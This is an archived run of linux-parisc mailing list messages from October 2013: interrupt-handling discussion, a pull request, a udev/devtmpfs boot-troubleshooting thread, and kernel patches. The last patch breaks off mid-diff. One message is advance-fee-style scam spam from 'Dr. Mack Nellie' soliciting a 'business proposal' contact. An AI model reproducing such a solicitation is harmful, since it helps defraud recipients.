Well, yes, x86 which is canonical tends to execute it immediately.

> My first intention was to align the set_irq_regs() and entrance and exit 
> to the irq_enter() and irq_exit() functions.
> With my change above it's now:
> 	
> 	old_regs = set_irq_regs(regs);
> 	irq_enter();
> 	do_something...();
> 	irq_exit();
> 	set_irq_regs(old_regs);
> 
> That's the same syntax as all other arches use.

I honestly don't think it matters, but x86 does

irq_ack
irq_enter
old_regs = set_irq_regs(regs);
...

if you look in their apic code.

> I think the main question is, if we need local_irq_disable() at all?

The generic irq handler seems to expect it, so it looks like yes at the
moment.  I think the current pattern is that we call with disabled but
the routine can re-enable. 

> At least moving the "old_regs = set_irq_regs(regs);" down after
> local_irq_disable()
> ensures that nobody else modifies the irq_regs pointer before we save
> it into old_regs.

Um, they can't.  The regs pointer points to an on-stack saved area that
was pushed when the interrupt was taken ... even if we get a nested
interrupt, it will push a new stack frame and we'll still be back to
this particular regs pointer when it returns.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. Mack Nellie" <info@notiffication590.onmicrosoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: I am expecting your urgent response
Date: Sat, 12 Oct 2013 11:27:25 +0530
Lines: 15
Approved: news@gmane.org
Message-ID: <bffdbe2e-26f1-4cb4-9f9f-5d4f0f22f3ff@SINPR06MB009.apcprd06.prod.outlook.com>
Reply-To: <dr.macknellie@barid.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1381557467 436 80.91.229.3 (12 Oct 2013 05:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Oct 2013 05:57:47 +0000 (UTC)
To: Recipients <info@notiffication590.onmicrosoft.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 12 07:57:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VUsCy-0007YB-NI
	for glpp-linux-parisc@plane.gmane.org; Sat, 12 Oct 2013 07:57:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751945Ab3JLF5s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Oct 2013 01:57:48 -0400
Original-Received: from emea01-am1-ndr.ptr.protection.outlook.com ([157.56.116.102]:48300
	"EHLO emea01-am1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1750763Ab3JLF5s convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Oct 2013 01:57:48 -0400
Original-Received: from [115.184.93.233] (115.184.93.233) by
 SINPR06MB009.apcprd06.prod.outlook.com (10.242.50.12) with Microsoft SMTP
 Server (TLS) id 15.0.785.10; Sat, 12 Oct 2013 05:57:42 +0000
Content-Description: Mail message body
X-Originating-IP: [115.184.93.233]
X-ClientProxiedBy: SINPR03CA007.apcprd03.prod.outlook.com (10.242.48.27) To
 SINPR06MB009.apcprd06.prod.outlook.com (10.242.50.12)
X-Forefront-PRVS: 0997523C40
X-Forefront-Antispam-Report: SFV:SPM;SFS:(189002)(199002)(77096001)(56816003)(76576001)(42186004)(23756003)(76786001)(50986001)(76796001)(47736001)(4396001)(83072001)(561944002)(51856001)(46102001)(47976001)(31686002)(76176001)(33646001)(49866001)(43066001)(74706001)(81342001)(74876001)(50466002)(81542001)(74366001)(74502001)(74662001)(47446002)(81816001)(19580405001)(79102001)(19580395003)(83322001)(66066001)(74316001)(218543002)(56776001)(54356001)(80976001)(69226001)(35302001)(81686001)(554214002)(80022001)(65816001)(53256004)(77982001)(59766001)(76482001)(54316002)(63696002)(85306002)(47776003)(555944003)(400844003);DIR:OUT;SFP:1501;SCL:5;SRVR:SINPR06MB009;H:[115.184.93.233];CLIP:115.184.93.233;FPR:;RD:InfoNoRecords;MX:1;A:0;LANG:en;
X-OriginatorOrg: notiffication590.onmicrosoft.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5375>

Compliment of the day.
 
I am Dr. Mack Nellie. I am looking for a reliable Indian partner that understands the India local language and English as well; I have a business proposal that will benefit both of us outside our individual professions.
Kindly contact me for the supply details on my personal email address;  dr.macknellie@barid.com  I will furnish you with more details as soon as I receive your mail.
I am expecting your urgent response   

Regards 
Dr. Mack Nellie
Tel: +447014245023 
E-Mail(dr.macknellie@barid.com)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc updates for v3.12-rc5
Date: Sun, 13 Oct 2013 18:11:30 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20131013161130.GA19534@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381680703 26991 80.91.229.3 (13 Oct 2013 16:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 16:11:43 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Oct 13 18:11:44 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VVOGd-0003WI-5v
	for glk-linux-kernel-3@plane.gmane.org; Sun, 13 Oct 2013 18:11:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754764Ab3JMQLf (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 13 Oct 2013 12:11:35 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57169 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754493Ab3JMQLd (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 13 Oct 2013 12:11:33 -0400
Original-Received: from p100.box ([84.173.67.88]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LvE2c-1Vv4772y02-010PtX for
 <linux-kernel@vger.kernel.org>; Sun, 13 Oct 2013 18:11:32 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Zud6cuyer+AtjJeBI2dIVA5tmUAJaiTHcW+kAvKDj7vc2Dm4p/d
 unkA4UU9lZyxh3Dz0xd/x0Xaff98zJtnXEavLR4nNd8cRuZvigfGLiZtepvTuuOIbIcjiRD
 j94zZ8msQmr9MUIVmnY1pyOt48Ms6Fie31WeQDta1CraIqX1omTugqACt9qQj5Y+vLJRfLo
 3hSxrwoZoe8b7edNzubrA==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1578225 gmane.linux.ports.parisc:5376
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1578225>

Hi Linus,

Please pull the latest parisc fixes from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.12

This patchset includes a bugfix to prevent a kernel crash when memory in
page zero is accessed by the kernel itself, e.g. via
probe_kernel_read(). Furthermore we now export flush_cache_page() which
is needed (indirectly) by the lustre filesystem.  The other patches
remove unused functions and optimizes the page fault handler to only
evaluate variables if needed, which again protects against possible
kernel crashes.

Thanks,
Helge

----------------------------------------------------------------
Geert Uytterhoeven (1):
      parisc: Export flush_cache_page() (needed by lustre)

Helge Deller (4):
      parisc: remove unused syscall_ipi() function.
      parisc: mark parisc_terminate() noreturn and cold.
      parisc: fix interruption handler to respect pagefault_disable()
      parisc: let probe_kernel_read() capture access to page zero

Jiang Liu (1):
      parisc: kill SMP single function call interrupt

John David Anglin (1):
      parisc: optimize variable initialization in do_page_fault

 arch/parisc/include/asm/traps.h |  2 +-
 arch/parisc/kernel/cache.c      |  1 +
 arch/parisc/kernel/smp.c        |  8 +-------
 arch/parisc/kernel/traps.c      | 11 +++--------
 arch/parisc/lib/memcpy.c        | 15 ++++++++++++++-
 arch/parisc/mm/fault.c          | 15 ++++++++++-----
 6 files changed, 30 insertions(+), 22 deletions(-)

From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New hppa kernel packages uploaded (3.10.11, aka 3.10-3) to parisc archives
Date: Sun, 13 Oct 2013 12:59:48 -0400
Lines: 157
Approved: news@gmane.org
Message-ID: <BLU0-SMTP943EBAB2046BE47061811197190@phx.gbl>
References: <BLU0-SMTP850C7B9645BBBC4DF76FD0971C0@phx.gbl> <5256AFF5.8080805@landcomp.net> <BLU0-SMTP27179D0C2057664D913C74971F0@phx.gbl> <52578D25.6010102@landcomp.net> <BLU0-SMTP337F2FF2A00CABB1AD2BA2971F0@phx.gbl> <525ACD4D.4060108@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381683629 25059 80.91.229.3 (13 Oct 2013 17:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 17:00:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Dave Land <xmechanic@landcomp.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 13 19:00:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVP1r-0006NL-Sj
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Oct 2013 19:00:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754804Ab3JMRAY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Oct 2013 13:00:24 -0400
Original-Received: from blu0-omc4-s17.blu0.hotmail.com ([65.55.111.156]:27814 "EHLO
	blu0-omc4-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753249Ab3JMRAG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Oct 2013 13:00:06 -0400
Original-Received: from BLU0-SMTP94 ([65.55.111.136]) by blu0-omc4-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Oct 2013 10:00:07 -0700
X-TMN: [4Tk/EzlUU/RzEtXG9qsLFAPi6ZoHFd/C]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP94.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Oct 2013 10:00:06 -0700
In-Reply-To: <525ACD4D.4060108@landcomp.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 Oct 2013 17:00:06.0686 (UTC) FILETIME=[AAEDDBE0:01CEC835]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5377>

To get devtmpfs you need a kernel built with CONFIG_DEVTMPFS.  I think  
the Debian kernels in the archive
have this.  However, at least some of the default parisc kernel  
configs miss this option.

What has changed is udev.  Previously, it didn't require devtempfs  
support.  Annoying, I know.

Do you want me to send udev deb for last version that worked without  
devtmpfs?

This isn't drive order issue.  I wrote a warning about this to list.   
It shouldn't be update until you have kernels
built with CONFIG_DEVTMPFS.

CC'd list.

Dave

On 13-Oct-13, at 12:41 PM, Dave Land wrote:

> OK, here's the latest on the J6750...
>
> I deleted all the partitions and started from scratch. When I did  
> the mke2fs to format I included the 'L' option to set a label for  
> sda3 (mke2fs -L ROOTscsi0), and followed the instructions for  
> setting the /boot partition in fstab, etc., after I got all the  
> packages downloaded again. Now when I reboot from the CD and  
> interact with the IPL to set root=/dev/sda3, it boots the HDD and  
> then errors out with the following:
> [FAIL] udev requires devtempfs support, not started ... failed
> [WARN] Filesystem mounted on /dev/shm; setting up compatibility bind  
> mount ... (warning)
>
> Do I need to set something in /etc/fstab or init.d to get devtmpfs  
> to start or what?
>
> Since that happened, I pulled the secondary HDD out to avoid the  
> drive order issue, and re-partitioned once again, and formatted my  
> file systems with just the stock options (mke2fs /dev/sda2; mke2fs / 
> dev/sda3; mkswap /dev/sda4), download everything AGAIN, set the / 
> boot parameters in /etc/fstab, set my root p/w, and rebooted. Once  
> again, set root=/dev/sda3 in the IPL list, and it booted the HDD and  
> errored out again with the failed udev. Has something changed in the  
> repository?
> Did it not get rid of the disk label when I re-partitioned/formatted?
> This is driving me crazy!
>
> Dave Land
>
> On 10/11/13 6:26 AM, John David Anglin wrote:
>> Dave,
>>
>> Finding the root is a different issue.  When you have multiple hard
>> drives, the drive detection order can vary.  I have a USB drive on  
>> one
>> machine
>> and the drive detection order varies depending on whether it is  
>> plugged
>> in or not.  For some reason, it always comes up as sda!  The order  
>> can
>> also change with different kernel versions.
>>
>> So, specifying root=/dev/sda3 in the palo.conf is problematic.  It's
>> better to use root=UUID=drive_uuid or root=LABEL=drive_label.  The  
>> label
>> option is shorter.  I labeled my root partition "ROOTn" where n is a
>> drive number (e.g., SCSI ID).  I think this only works when you use  
>> udev to
>> build /dev.  If /dev is fixed, then this doesn't matter.
>>
>> This is why Helge recently changed palo to allow longer command  
>> lines.
>>
>> Dave
>>
>> On 11-Oct-13, at 1:31 AM, Dave Land wrote:
>>
>>> Dave,
>>>
>>> If I remember correctly (it's been a couple weeks), the kernel panic
>>> mentioned that it couldn't find the root partition, in this case  
>>> sda3,
>>> and I specified that when I did the palo config, so I either screwed
>>> up on the partitioning (i.e. sda3 isn't where it's supposed to be,  
>>> or
>>> I didn't do the palo config just exactly right.) If I interact with
>>> the IPL and use the kernel on the CD, it finds sda3 with no problem
>>> and boots the hard disc. I'm thinking it actually IS finding the
>>> kernel, since it actually gets that far before the kernel panics
>>> because it can't find /.
>>>
>>> Anyway, as soon as I get caught up with sorting all the computer
>>> goodies I scored at the local school auction last week, I'll work  
>>> with
>>> it some more, and try to figure out what I'm missing. :)
>>>
>>> Dave Land
>>> Land Computer Service
>>>
>>> On 10/10/13 6:01 PM, John David Anglin wrote:
>>>> Typically, I don't change palo.conf much.  Just use a generic  
>>>> name like
>>>> vmlinux and link it to your current
>>>> default kernel.  Same for initrd.img if you use ram disk.   
>>>> Interact with
>>>> IPL if you want to do something special.
>>>> It supports a ls command, so you can see what's in /boot.  If you  
>>>> can't
>>>> see any kernels, palo is probably
>>>> looking at wrong partition.
>>>>
>>>> Dave
>>>>
>>>> On 10-Oct-13, at 9:47 AM, Dave Land wrote:
>>>>
>>>>> On 10/8/13 5:41 PM, John David Anglin wrote:
>>>>>> I have upload a new Debian kernel build (3.10.11) to the parisc
>>>>>> archive:
>>>>>> deb http://ftp.parisc-linux.org/debian-ports/unstable  unstable  
>>>>>> main
>>>>>>
>>>>>> Except for linux-image-3.10-3-parisc-smp, the packages have  
>>>>>> been boot
>>>>>> tested on c3750 and rp3440.
>>>>>>
>>>>>> Enjoy,
>>>>>> Dave
>>>>>> --
>>>>>> John David Anglin    dave.anglin@bell.net
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>
>>>>> Thank you Dave. I'm still trying to get my Visualize J6750 to boot
>>>>> from the kernel on the HDD. Some kind of weirdness with palo is
>>>>> keeping it from seeing the /boot partition. Too much other stuff  
>>>>> going
>>>>> on at the moment to worry with it too much though. I'll get it
>>>>> eventually. :) Thanks for all your hard work on this.
>>>>>
>>>>> --
>>>>> Dave Land
>>>>> Land Computer Service  xmechanic@landcomp.net
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: provide macro to create exception table entries
Date: Sun, 13 Oct 2013 21:11:30 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <20131013191130.GA1437@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381691494 5703 80.91.229.3 (13 Oct 2013 19:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 19:11:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 13 21:11:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVR4h-0004HV-6K
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Oct 2013 21:11:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755141Ab3JMTLe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Oct 2013 15:11:34 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:56500 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754947Ab3JMTLe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Oct 2013 15:11:34 -0400
Original-Received: from p100.box ([84.173.67.88]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LnPSg-1VyRdi0Lok-00haJ7 for
 <linux-parisc@vger.kernel.org>; Sun, 13 Oct 2013 21:11:32 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:LPBQHe9BiyoKWxiRzCnD0FvjPzuiTxYNYESpaNaJ4YLfO9xbUG9
 oLcpGyoMK8CmDtM0fBSgjKxRgtfzHZwND3a9Dspi15LQwswhHNp3Fr5FkL1XZP5D8akJrxq
 87+TPZb01GlPAfPtJ/LncgKlQYaUzusVLjbdZHQKxrtJDcL81Ra4n2MCDDKTMuBC9JpZ9BS
 F5/7T6oOeCMDFUcxq7J1w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5378>

Provide a macro ASM_EXCEPTIONTABLE_ENTRY() to create exception table
entries and convert all open-coded places to use that macro.

This patch is a first step toward creating a exception table which only
holds 32bit pointers even on a 64bit kernel. That way in my own kernel
I was able to reduce the in-kernel exception table from 44kB to 22kB.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index 0da8482..b3069fd 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -515,5 +515,17 @@
 	nop	/* 7 */
 	.endm
 
+	/*
+	 * ASM_EXCEPTIONTABLE_ENTRY
+	 *
+	 * Creates an exception table entry.
+	 * Do not convert to a assembler macro. This won't work.
+	 */
+#define ASM_EXCEPTIONTABLE_ENTRY(fault_addr, except_addr)	\
+	.section __ex_table,"aw"			!	\
+	ASM_ULONG_INSN	fault_addr, except_addr		!	\
+	.previous
+
+
 #endif /* __ASSEMBLY__ */
 #endif
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index e0a8235..4006964 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -59,12 +59,13 @@ static inline long access_ok(int type, const void __user * addr,
 /*
  * The exception table contains two values: the first is an address
  * for an instruction that is allowed to fault, and the second is
- * the address to the fixup routine. 
+ * the address to the fixup routine. Even on a 64bit kernel we could
+ * use a 32bit (unsigned int) address here.
  */
 
 struct exception_table_entry {
-	unsigned long insn;  /* address of insn that is allowed to fault.   */
-	long fixup;          /* fixup routine */
+	unsigned long insn;	/* address of insn that is allowed to fault. */
+	unsigned long fixup;	/* fixup routine */
 };
 
 #define ASM_EXCEPTIONTABLE_ENTRY( fault_addr, except_addr )\
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index e767ab7..a63bb179 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -649,10 +649,8 @@ cas_action:
 	/* Two exception table entries, one for the load,
 	   the other for the store. Either return -EFAULT.
 	   Each of the entries must be relocated. */
-	.section __ex_table,"aw"
-	ASM_ULONG_INSN (1b - linux_gateway_page), (3b - linux_gateway_page)
-	ASM_ULONG_INSN (2b - linux_gateway_page), (3b - linux_gateway_page)
-	.previous
+	ASM_EXCEPTIONTABLE_ENTRY(1b-linux_gateway_page, 3b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(2b-linux_gateway_page, 3b-linux_gateway_page)
 
 
 	/* Make sure nothing else is placed on this page */
diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 6f2d935..a512f07 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -88,9 +88,7 @@ ENDPROC(lclear_user)
 	ldo        1(%r25),%r25
 	.previous
 
-	.section __ex_table,"aw"
-	ASM_ULONG_INSN 1b,2b
-	.previous
+	ASM_EXCEPTIONTABLE_ENTRY(1b,2b)
 
 	.procend
 
@@ -129,10 +127,8 @@ ENDPROC(lstrnlen_user)
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
 	.previous
 
-	.section __ex_table,"aw"
-	ASM_ULONG_INSN 1b,3b
-	ASM_ULONG_INSN 2b,3b
-	.previous
+	ASM_EXCEPTIONTABLE_ENTRY(1b,3b)
+	ASM_EXCEPTIONTABLE_ENTRY(2b,3b)
 
 	.procend
 
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 0293588..d7aea72 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -142,6 +142,11 @@ int fixup_exception(struct pt_regs *regs)
 {
 	const struct exception_table_entry *fix;
 
+	/* If we only stored 32bit addresses in the exception table we can drop
+	 * out if we faulted on a 64bit address. */
+	if (sizeof(fix->insn) == 4 && regs->iaoq[0] >> 32)
+		return 0;
+
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: show backtrace for all cpus when using sysrq-l
Date: Sun, 13 Oct 2013 21:37:07 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20131013193707.GA15451@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381693031 20491 80.91.229.3 (13 Oct 2013 19:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 19:37:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 13 21:37:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVRTV-0007xX-3O
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Oct 2013 21:37:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754906Ab3JMThM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Oct 2013 15:37:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53553 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754884Ab3JMThL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Oct 2013 15:37:11 -0400
Original-Received: from p100.box ([84.173.67.88]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MaE4a-1VBaCz1jyK-00JtD6 for
 <linux-parisc@vger.kernel.org>; Sun, 13 Oct 2013 21:37:09 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:mP7WcvA6YIJ/6t1eML1KhihdYVG13Y65eCMqzibmjSva37AlYiT
 ZKXc5KsPptxIdMlHmbLKxZC2MCGiJqoYUxXcDdXA0zqRAzSI9uwwNMz1snRaVI6kJeUS47M
 Qvg5nyP4yGIUtXgYE4LpFOmYwvBu3PuPwP56FL9Oxi0STTY+u1kKVdzfDrRtvKLJIwPO49h
 XYWacyikVjkud6XJ1p99A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5379>

Improve output when using sysrq-l command (show backtrace for all cpus).

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
index 1073599..99989ad 100644
--- a/arch/parisc/include/asm/irq.h
+++ b/arch/parisc/include/asm/irq.h
@@ -49,4 +49,9 @@ extern int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest);
 /* soft power switch support (power.c) */
 extern struct tasklet_struct power_tasklet;
 
+#ifdef CONFIG_SMP
+void arch_trigger_all_cpu_backtrace(void);
+#define arch_trigger_all_cpu_backtrace arch_trigger_all_cpu_backtrace
+#endif
+
 #endif	/* _ASM_PARISC_IRQ_H */
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 2e6443b..2e66892 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -615,3 +615,44 @@ void __init init_IRQ(void)
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
 }
+
+
+
+/*
+ * Backtrace of all CPUs via IPI. Used when sending sysrq-l.  
+ */
+
+#ifdef arch_trigger_all_cpu_backtrace
+static DECLARE_BITMAP(backtrace_mask, NR_CPUS) __read_mostly;
+
+static void smp_call_func_backtrace(void *info)
+{
+	int cpu;
+	cpu = smp_processor_id();
+
+	if (cpumask_test_cpu(cpu, to_cpumask(backtrace_mask))) {
+		static arch_spinlock_t lock = __ARCH_SPIN_LOCK_UNLOCKED;
+
+		arch_spin_lock(&lock);
+		pr_warn("IPI backtrace for cpu %d\n", cpu);
+		/* show_regs(get_irq_regs()); */
+		show_stack(NULL, 0);
+		arch_spin_unlock(&lock);
+		cpumask_clear_cpu(cpu, to_cpumask(backtrace_mask));
+	}
+}
+
